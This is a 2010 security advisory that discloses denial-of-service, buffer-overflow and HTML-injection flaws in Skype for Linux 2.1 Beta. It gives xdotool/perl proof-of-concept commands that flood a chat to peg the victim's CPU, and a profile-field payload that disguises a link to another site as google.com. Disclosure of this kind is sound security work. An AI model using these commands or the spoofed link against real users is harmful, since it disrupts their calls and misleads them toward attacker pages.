68 lines
No EOL
3 KiB
Text
68 lines
No EOL
3 KiB
Text
# Title: Skype for Linux (<=2.1 Beta) multiple strange behavior
|
|
# Author: Emanuele Gentili (Emgent), Emanuele Acri (Crossbower)
|
|
# Contacts: emgent@backtrack.it, crossbower@backtrack.it
|
|
# Published: 2010-01-04
|
|
# Software Link: http://www.skype.com/intl/it/download/skype/linux/
|
|
# Version: <=2.1 Beta (the latest version)
|
|
# Tested on: Ubuntu 8.10, Debian 6.0 Testing
|
|
# Special greetz: Backtrack-Italy Community
|
|
|
|
Vulnerability Description:
|
|
The latest Linux version of Skype (2.1 Beta) is affected by several strange
|
|
behaviors that may lead to not_very_serious vulnerabilities.
|
|
We have found:
|
|
- Denial of Service (CPU 100%) in 'SED' feature
|
|
- Various and harmless local buffer overflows
|
|
- QT HTML injection, Pseudo-XSS (c00l and strange)
|
|
|
|
Vulnerabilies analysis:
|
|
|
|
[+] Denial of Service (CPU 100%) in 'SED' feature [+]
|
|
Using multiple times the SED feature can DoS a remote client (CPU 100%),
|
|
and prevent the normal use of Skype, especially the voice conversations.
|
|
After the DoS the program must be restarted.
|
|
Affected users: all users in buddylist or not, but not people that have
|
|
blocked the attacker's contact.
|
|
|
|
- Proof of Concept
|
|
(xdotool required, 'apt-get install xdotool' on debian-like distros):
|
|
1) The attacker send a long spaced string: this command waits 5 second and then
|
|
types the string in the currently selected field...
|
|
(you should select the textarea of a chat with the cursor before it types):
|
|
sleep 5 && xdotool type "`perl -e "print 'S 'x44801"`" && xdotool key Return
|
|
2) The attacker use SED to rewrite the string. Command:
|
|
sleep 5 && xdotool type 's/../' && xdotool type "`perl -e "print 'S 'x44801"`" && xdotool type '/' && xdotool key Return
|
|
3) DoS on attacker and victim...
|
|
|
|
[+] Local Buffer Overflows [+]
|
|
Local Bofs when you try to send SMS and call phone numbers that are not well
|
|
formatted. A BoF occurs also when the string of the previous attack is 89601
|
|
characters long.
|
|
The buffer overflows are caused by an improper use of memcpy(), but don't
|
|
represent a security hole (just poorly written software...).
|
|
|
|
[+] QT HTML injection, Pseudo-XSS [+]
|
|
The program accept input text as HTML code in the GUI, without filtering.
|
|
It's possible to use this behavior to manipulate the GUI of the program
|
|
even remotely.
|
|
Affected input fields:
|
|
Local only: Contact search, Select file Dialog Box, Profile TextArea.
|
|
Remote (and persistent): Homepage field in Profile.
|
|
|
|
- Proof of Concept:
|
|
Just type this string in the various input fields and see if it's interpreted:
|
|
"><h1><"
|
|
|
|
- Phishing proof of concept:
|
|
If you type this string in your profile (Homepage field), 'www.google.com' will
|
|
be displayed, but the link points to -> http://backtrack.it:
|
|
backtrack.it">www.google.it<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
|
|
|
|
[+] Conclusion [+]
|
|
There is not much new to say: Skype for Linux sucks.
|
|
Is Skype interested in doing a good job or not?
|
|
When will we have a decent version of Skype for Linux?
|
|
Skype for Linux: Where's the R-E-S-P-E-C-T? (http://www.linuxjournal.com/content/skype-linux-wheres-r-e-s-p-e-c-t)
|
|
|
|
Bye bye from Backtrack Italy Core Team,
|
|
have a nice day... |